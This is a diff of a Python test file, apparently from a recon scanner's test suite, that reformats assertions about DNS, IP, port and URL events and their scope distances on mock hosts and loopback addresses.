== "test.notrealzies" + and e.internal is True + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data == "www.test.notreal" + and e.internal is False + and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) @@ -222,39 +363,177 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) ) assert len(events) == 7 - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events) == 8 - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 + ] + ) assert 0 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events_nodups) == 7 - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 + ] + ) assert 0 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data == "test.notrealzies" + and e.internal is False + and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data == "www.test.notreal" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) @@ -277,7 +556,15 @@ async def filter_event(self, event): async def handle_event(self, event): await self.emit_event( - {"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event + { + "host": str(event.host), + "description": "yep", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + "name": "Test Finding", + }, + "FINDING", + parent=event, ) def custom_setup(scan): @@ -293,33 +580,147 @@ def custom_setup(scan): ) assert len(events) == 5 - assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) - assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len( + [ + e + for e in events + if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3 + ] + ) assert len(all_events) == 8 - assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3 + ] + ) assert len(all_events_nodups) == 6 - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3 + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "DNS_NAME" + and e.data == "test.notrealzies" + and e.internal is True + and e.scope_distance == 2 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "FINDING" + and e.data["host"] == "127.0.0.77" + and e.internal is False + and e.scope_distance == 3 + ] + ) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -337,56 +738,301 @@ def custom_setup(scan): ) assert len(events) == 7 - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) assert len(all_events) == 14 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 2 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + and "spider-danger" in e.tags + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.77:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) assert len(all_events_nodups) == 12 - assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.0:8888" + and e.internal is True + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "HTTP_RESPONSE" + and e.data["input"] == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "URL_UNVERIFIED" + and e.url == "http://127.0.0.77:8888/" + and e.internal is False + and e.scope_distance == 1 + and "spider-danger" in e.tags + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) + assert 1 == len( + [ + e + for e in all_events_nodups + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.77:8888" + and e.internal is True + and e.scope_distance == 1 + ] + ) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 - assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) - assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "URL" + and e.url == "http://127.0.0.1:8888/" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"] + ) + assert 0 == len( + [e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"] + ) + assert 1 == len( + [ + e + for e in _graph_output_events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False @@ -409,73 +1055,404 @@ def custom_setup(scan): # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by http module to generate the URL. it was graph-important. # now for whatever reason, http module is visiting the url directly and the open port isn't being used # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. - assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len( + [ + e + for e in events + if e.type == "OPEN_TCP_PORT" + and e.data == "127.0.0.1:8888" + and e.internal is False + and e.scope_distance == 0 + ] + ) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) + assert 1 == len( + [ + e + for e in events + if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 + ] + ) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) assert len(all_events) == 18 - assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance 